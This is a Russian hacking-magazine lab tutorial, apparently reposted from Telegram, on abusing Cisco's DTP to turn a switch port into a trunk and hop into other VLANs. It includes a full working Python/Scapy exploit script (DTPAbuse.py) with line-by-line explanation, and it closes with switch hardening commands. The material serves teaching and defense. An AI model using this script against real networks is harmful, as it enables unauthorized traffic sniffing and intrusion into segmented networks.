Хакер - Разруливаем DTP. Как взломать протокол DTP и совершить побег в другую сеть VLAN

Хакер - Разруливаем DTP. Как взломать протокол DTP и совершить побег в другую сеть VLAN

hacker_frei

https://t.me/hacker_frei

C0ldheim 

Содержание статьи

  • Как это работает
  • Уязвимость
  • Виртуальная лаборатория
  • Кастомная эксплуатация уязвимости без использования Yersinia
  • Эксплуатация
  • Побег в другую сеть VLAN
  • Защита
  • Вывод

Про­токол DTP был раз­работан инже­нера­ми Cisco Systems, что­бы облегчить жизнь ленивым сетевым инже­нерам. Но при халат­ном отно­шении к кон­фигура­ции это­го про­токо­ла адми­нис­тра­торы рас­пла­чива­ются ком­про­мета­цией сво­их сетей. В этой статье я про­демонс­три­рую сце­нарий взло­ма про­токо­ла DTP и воз­можность побега в дру­гую сеть VLAN.

WARNING

Статья име­ет озна­коми­тель­ный харак­тер и пред­назна­чена для спе­циалис­тов по безопас­ности, про­водя­щих тес­тирова­ние в рам­ках кон­трак­та. Автор и редак­ция не несут ответс­твен­ности за любой вред, при­чинен­ный с при­мене­нием изло­жен­ной информа­ции. Рас­простра­нение вре­донос­ных прог­рамм, наруше­ние работы сис­тем и наруше­ние тай­ны перепис­ки прес­леду­ются по закону.

Аб­бре­виату­ра DTP рас­шифро­выва­ется как Dynamic Trunking Protocol. Этот про­токол раз­работан инже­нера­ми Cisco Systems для реали­зации авто­мати­чес­кой тран­кинго­вой сис­темы. Какой порт будет тран­ковым, а какой нет — c этим раз­бира­ется имен­но про­токол DTP, а не сетевой инже­нер. DTP очень час­то оста­ется без дол­жно­го вни­мания и в боль­шинс­тве слу­чаев исполь­зует кон­фигура­цию по умол­чанию. Этим мы с тобой и вос­поль­зуем­ся.

КАК ЭТО РАБОТАЕТ

DTP поз­воля­ет двум сосед­ним пор­там ком­мутато­ра сог­ласовы­вать решения о том, будут ли они магис­траль­ными канала­ми a.k.a тран­ками. Такой метод при­меня­ется, что­бы сфор­мировать магис­траль­ный канал, а сетево­му адми­нис­тра­тору не при­ходи­лось нас­тра­ивать вруч­ную каж­дую сто­рону. Ком­мутаци­онный порт, который находит­ся на дру­гом кон­це канала, может при­нять кон­фигура­цию соседа и сфор­мировать транк авто­мати­чес­ки. Да, это поз­воля­ет сох­ранить вре­мя и силы, но не в таком уж и сущес­твен­ном количес­тве.

При­мер типич­ной тополо­гии DTP

В про­токо­ле DTP пре­дус­мотре­но нес­коль­ко режимов работы пор­тов ком­мутато­ра для ини­циали­зации магис­траль­ного канала:

  • Access Mode — режим пос­тоян­ного бес­тран­кового сос­тояния. Порт всег­да будет оста­вать­ся в бес­тран­ковом сос­тоянии, нес­мотря на то что сосед­ний порт не сог­ласен с изме­нени­ем;
  • Trunk Mode — режим пос­тоян­ного тран­кового сос­тояния. Порт всег­да будет оста­вать­ся в тран­ковом сос­тоянии, нес­мотря на то что сосед­ний порт не сог­ласен с изме­нени­ем;
  • Dynamic Auto — в этом режиме порт готов перей­ти в тран­ковое сос­тояние, если сосед­ний порт будет в режиме Trunk или Dynamic Desirable. Важ­но упо­мянуть, что Dynamic Auto — это режим по умол­чанию для всех пор­тов ком­мутато­ра;
  • Dynamic Desirable — в этом режиме порт всег­да пыта­ется перей­ти в тран­ковое сос­тояние. Порт при­обре­тет режим Trunk, если сосед­ний порт нас­тро­ен в режимах Dynamic Auto, Dynamic Desirable или Trunk Mode;
  • Nonegotiate — в этом режиме порт не учас­тву­ет в про­цес­сах DTP. Он не будет ни отправ­лять кад­ры DTP, ни при­нимать их.
Таб­лица ком­бинаций режимов пор­тов DTP

Что­бы не запутать­ся в этих тер­минах, я сде­лал таб­лицу ком­бинаций режимов DTP двух сосед­них пор­тов. Пос­мотрев на дан­ные в этой таб­лице, ты навер­няка заметил, что если два сосед­них пор­та находят­ся в режиме Dynamic Auto, то они не смо­гут обра­зовать магис­траль­ный канал и оба пор­та оста­нут­ся в режиме Access. Дру­гой при­мер: если пер­вый порт будет в режиме Dynamic Auto, а вто­рой порт в режиме Dynamic Desirable, то в конеч­ном сче­те обра­зует­ся магис­траль­ный канал или же транк.

Кад­ры DTP рас­сыла­ются через пор­ты ком­мутато­ра каж­дые 30 секунд. И для их рас­сылки исполь­зует­ся спе­циаль­ный муль­тикас­товый адрес 01:00:0C:CC:CC:CC. Если порт был скон­фигури­рован динами­чес­ки, то вре­мя его жиз­ни — все­го 300 секунд.

Ин­форма­ция о DTP из кон­соли Cisco IOS

INFO

Муль­тикас­товый адрес 01:00:0C:CC:CC:CC исполь­зует­ся не толь­ко про­токо­лом DTP, но и дру­гими, нап­ример CDP, VTP, PAgP, UDLD. Что­бы про­токо­лы мог­ли отли­чать­ся друг от дру­га при отправ­ке сво­их объ­явле­ний по оди­нако­вому муль­тикас­товому адре­су, для них реали­зова­но уни­каль­ное зна­чение в заголов­ке SNAP на уров­не LLC (Logical Link Control). Для DTP это зна­чение экви­вален­тно 0x2004.

Уязвимость

Суть уяз­вимос­ти зак­люча­ется в том, что про­токол DTP вклю­чен по умол­чанию на всех сов­ремен­ных ком­мутато­рах Cisco. При этом каж­дый порт ком­мутато­ра нас­тро­ен в режиме Dynamic Auto. То есть порт будет ожи­дать ини­циации тран­ка со сто­роны соседа. Для успешно­го про­веде­ния ата­ки нам нуж­но физичес­ки под­клю­чить­ся к ком­мутато­ру и отпра­вить спе­циаль­но под­готов­ленный кадр DTP Desirable. Порт перек­лючит­ся в режим магис­траль­ного канала, и мы смо­жем получить дос­туп ко всем сетям VLAN.

ВИРТУАЛЬНАЯ ЛАБОРАТОРИЯ

В сво­ей вир­туаль­ной лабора­тории я исполь­зовал плат­форму вир­туали­зации EVE-NG Community Edition. Целевы­ми устрой­ства­ми будут эму­лиро­ван­ный ком­мутатор и мар­шру­тиза­тор Cisco (Cisco IOL), вир­туаль­ные VPC из EVE-NG. А в качес­тве машины ата­кующе­го выс­тупит ОС Kali Linux 2021.4.

Сеть раз­бита на два сег­мента: это VLAN 10 и VLAN 30. За мар­шру­тиза­цию тра­фика меж­ду ними отве­чает мар­шру­тиза­тор R1. Так­же на мар­шру­тиза­торе R1 нас­тро­ен DHCP-сер­вер для авто­мати­чес­кой выдачи адре­сов устрой­ствам.

На пор­те ком­мутато­ра E1/0 SW1 до мар­шру­тиза­тора R1 скон­фигури­рован магис­траль­ный канал 802.1Q, который переда­ет весь тегиро­ван­ный тра­фик сетей VLAN 10 и 30. Пор­ты E0/1 и E0/2 нас­тро­ены в режиме Access и при­над­лежат сво­им сетям VLAN.

Ма­шина ата­кующе­го под­клю­чена к пор­ту ком­мутато­ра E1/1. Порт нас­тро­ен по умол­чанию в режиме Dynamic Auto для демонс­тра­ции экс­плу­ата­ции уяз­вимос­ти.

То­поло­гия вир­туаль­ной лабора­тории
IP-адре­сация вир­туаль­ной лабора­тории

КАСТОМНАЯ ЭКСПЛУАТАЦИЯ УЯЗВИМОСТИ БЕЗ ИСПОЛЬЗОВАНИЯ YERSINIA

В кон­тек­сте про­веде­ния ата­ки я решил обой­тись без популяр­ного фрей­мвор­ка Yersinia. Одно дело, ког­да ты прос­то нажима­ешь на нес­коль­ко кно­пок, руководс­тву­ясь сво­им бэк­гра­ундом зна­ний, и про­изво­дишь взлом, это что‑то из раз­ряда «Just push the button and hack it». Сов­сем дру­гое дело, ког­да ты сам собира­ешь свой инс­тру­мент по кусоч­кам. Я счи­таю, это даст более глу­бокое понима­ние про­цес­са экс­плу­ата­ции уяз­вимос­ти, что очень важ­но.

Для экс­плу­ата­ции этой уяз­вимос­ти DTP я исполь­зовал связ­ку Python и Scapy, написав свой собс­твен­ный скрипт — DTPAbuse.py. Ниже я раз­беру весь прог­рам­мный код скрип­та, что­бы ты понимал работу этой прог­раммы и про­цесс экс­плу­ата­ции.

Итак, нач­нем.

from scapy.all import *

from scapy.contrib.dtp import *

import argparse

В этой час­ти, я думаю, никаких воп­росов воз­никнуть не дол­жно. Мы под­клю­чаем биб­лиоте­ку Scapy, модуль для работы с про­токо­лом DTP и модуль argparse, что­бы сде­лать скрипт парамет­ризован­ным. То есть скрипт будет при­нимать на вход вве­ден­ный поль­зовате­лем аргу­мент.

cisco_multicast = "01:00:0C:CC:CC:CC"

Соз­даем перемен­ную cisco_multicast и переда­ем в нее адрес муль­тикас­товой рас­сылки Cisco.

def get_arguments():

parser = argparse.ArgumentParser()

parser.add_argument("-i", dest="interface", type=str, required=True, help="Choose the interface to attack")

args = parser.parse_args()

return args

Фун­кция get_arguments пар­сит вве­ден­ные поль­зовате­лем вхо­дящие аргу­мен­ты и отправ­ляет дан­ные в перемен­ную interface. В качес­тве вход­ных дан­ных скрипт будет при­нимать сетевой интерфейс для ата­ки.

def negotiate_trunk(interface=conf.iface, mymac=str(RandMAC())):

dtp_frame = Dot3(src=mymac, dst=cisco_multicast)

dtp_frame /= LLC(dsap=0xaa, ssap=0xaa, ctrl=3)/SNAP(OUI=0x0c, code = 0x2004)

dtp_frame /= DTP(tlvlist=[DTPDomain(),DTPStatus(),DTPType(),DTPNeighbor(neighbor=mymac)])

sendp(dtp_frame, iface=args.interface, inter=3, loop=1, verbose=1)

Фун­кция negotiate_trunk при­нима­ет на вход сетевой интерфейс и MAC-адрес. MAC-адрес пусть будет ран­домизи­рован­ным.

Да­лее рас­положен код под фун­кци­ей negotiate_trunk, который собира­ет кадр DTP Desirable.

dtp_frame = Dot3(src=mymac, dst=cisco_multicast)

В кад­ре Ethernet Dot3 я ука­зываю MAC-адрес источни­ка наз­начения. Адре­сом наз­начения будет слу­жить адрес муль­тикас­товой рас­сылки Cisco.

dtp_frame /= LLC(dsap=0xaa, ssap=0xaa, ctrl=3)/SNAP(OUI=0x0c, code = 0x2004)

Так­же понадо­бит­ся добавить слои LLC и SNAP. Зна­чени­ем 0x2004 в заголов­ке SNAP ука­жем, что это DTP-кадр.

dtp_frame /= DTP(tlvlist=[DTPDomain(),DTPStatus(),DTPType(),DTPNeighbor(neighbor=mymac)])

Со­бира­ем кадр DTP, все парамет­ры оста­вим по умол­чанию, кро­ме DTPNeighbor. Перемен­ной neighbor переда­дим MAC-адрес источни­ка. Почему‑то в Scapy в дефол­тном кад­ре DTP по умол­чанию хра­нят­ся все необ­ходимые зна­чения, что­бы соб­рать имен­но кадр DTP Desirable. Я не знаю, с чем это свя­зано, но это сыг­рает нам на руку: сэконо­мим вре­мя. Поэто­му мы оста­вили парамет­ры DTP по умол­чанию (за исклю­чени­ем DTPNeighbor).

Струк­тура дефол­тно­го кад­ра DTP в Scapy

Те­перь давай сос­редото­чим­ся на хра­нящих­ся там самых важ­ных заголов­ках и не менее важ­ных зна­чени­ях:

  • DTPType = '\xa5' — зна­чение заголов­ка, ука­зыва­ющее на исполь­зование инкапсу­ляции 802.1Q;
  • DTPStatus = '\x03' — зна­чение заголов­ка, ука­зыва­ющее на ста­тус DTP-кад­ра. Это ста­тус Desirable, то, что нам нуж­но для ини­циации тран­ка.

sendp(dtp_frame, iface=args.interface, inter=3, loop=1, verbose=1)

Да­лее необ­ходимо отпра­вить соб­ранный кадр. Пос­коль­ку мы зна­ем, что динами­чес­кий транк про­дер­жится все­го 300 секунд, зацик­лим отправ­ку это­го кад­ра с интерва­лом в 3 секун­ды.

args = get_arguments()

negotiate_trunk(args.interface)

Ну и пос­ледние час­ти скрип­та. Переда­ем вво­димые поль­зовате­лем аргу­мен­ты в перемен­ную args и вызыва­ем фун­кцию get_arguments(). Затем вызыва­ем фун­кцию negotiate_trunk, подав на вход вве­ден­ный поль­зовате­лем интерфейс.

«Ске­лет» соб­ранно­го кад­ра DTP

Эксплуатация

За­пус­каем сетевой сниф­фер Wireshark и прос­лушива­ем тра­фик на наличие кад­ров DTP.

Дамп тра­фика из Wireshark

Ви­дим, что ком­мутатор вос­про­изво­дит рас­сылку кад­ров DTP на порт, к которо­му под­клю­чена машина с Kali Linux. Исхо­дя из информа­ции, хра­нящей­ся в заголов­ках DTP, мы можем сме­ло заявить, что порт ком­мутато­ра нас­тро­ен в режиме Dynamic Auto.

Ин­форма­ция о ста­тусе пор­та DTP

Те­перь запус­каем наш скрипт DTPAbuse.py.

За­пуск скрип­та DTPAbuse.py
От­прав­ленный кадр DTP Desirable

На скрин­шоте выше мы видим, что скрипт генери­рует необ­ходимый нам кадр DTP Desirable. Если теперь мы вой­дем в панель управле­ния ком­мутато­ра SW1, то уви­дим сле­дующее.

Порт E1/1 пре­обра­зовал­ся в динами­чес­кий транк

Порт ком­мутато­ра, к которо­му под­клю­чена машина ата­кующе­го, перек­лючил­ся в режим магис­траль­ного канала. Теперь мы можем прос­лушивать тра­фик всех сетей VLAN.

Прос­лушива­ние тра­фика пос­ле экс­плу­ата­ции

Побег в другую сеть VLAN

Те­перь у нас есть воз­можность «прыг­нуть» в дру­гую VLAN-сеть, так как порт ком­мутато­ра, к которо­му мы под­клю­чены, находит­ся в режиме магис­траль­ного канала. Для это­го нуж­но соз­дать вир­туаль­ный интерфейс VLAN на нашем сетевом адап­тере, наз­начить VLAN ID и IP-адрес.

INFO

Эта ата­ка носит аль­тер­натив­ное наз­вание VLAN Hopping.

Но отку­да нам взять VLAN ID? Пос­коль­ку мы в сос­тоянии прос­лушивать тра­фик всех сетей VLAN, мы можем изу­чить кад­ры STP и извлечь отту­да информа­цию о иден­тифика­торе VLAN. Нап­ример, в нашем слу­чае мы уви­дим, что ком­мутатор SW1 — это кор­невой ком­мутатор для сетей VLAN 10 и VLAN 30.

Ин­форма­ция из заголов­ка 802.1Q о VLAN 10
Ин­форма­ция из заголов­ка 802.1Q о VLAN 30

Соз­дадим вир­туаль­ные интерфей­сы VLAN и наз­начим тег VLAN ID.

Соз­дание вир­туаль­ных интерфей­сов VLAN

Те­перь под­нимем их и зап­росим адрес по DHCP.

Ак­тивация вир­туаль­ных интерфей­сов VLAN
Ус­пешное получе­ние адре­сов по DHCP

Те­перь мы можем вза­имо­дей­ство­вать с хос­тами, находя­щими­ся в сетях VLAN 10 и 30. Для наг­ляднос­ти отправ­лю зап­росы ICMP к машинам Workstation и Fileshare Server.

Ус­пешное про­хож­дение зап­росов ICMP

ЗАЩИТА

Что­бы защитить ком­мутато­ры в сети от этой ата­ки на про­токол DTP, необ­ходимо перевес­ти в режим дос­тупа все пор­ты, куда под­клю­чают­ся рабочие стан­ции, и вык­лючить про­токол DTP на пор­тах. Весь­ма лег­кая задача, сог­ласись? При­веду при­мер нас­трой­ки на пор­ту ком­мутато­ра, куда была под­клю­чена машина ата­кующе­го.

Сна­чала переве­дем порт в режим дос­тупа коман­дой switchport mode access, а затем отклю­чим DTP на пор­те коман­дой switchport nonegotiate:

SW1(config)#interface ethernet 1/1

SW1(config-if)#switchport mode access

SW1(config-if)#switchport nonegotiate

Те­перь эта ата­ка неосу­щес­тви­ма, так как пор­ты боль­ше не реаги­руют на несан­кци­они­рован­ные кад­ры DTP.

ВЫВОД

В этой статье я разоб­рал сце­нарий взло­ма про­токо­ла DTP и ком­про­мета­ции сетей VLAN. Лич­но я счи­таю, что исполь­зование DTP в рам­ках про­дак­шена — это явный при­мер некачес­твен­ного дизай­на сети, ибо магис­траль­ные каналы a.k.a тран­ки дол­жны быть там и толь­ко там, где это зап­ланиро­вано. Конеч­но, сетевой адми­нис­тра­тор сэконо­мит какое‑то вре­мя на нас­трой­ке магис­траль­ных каналов с исполь­зовани­ем DTP, но это не сто­ит того, что­бы поль­зовать­ся столь небезо­пас­ным решени­ем в сети. И очень жаль, что кон­фигура­цию это­го про­токо­ла дос­таточ­но час­то оставля­ют без дол­жно­го вни­мания. Но теперь ты зна­ешь, что делать!

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei



Report Page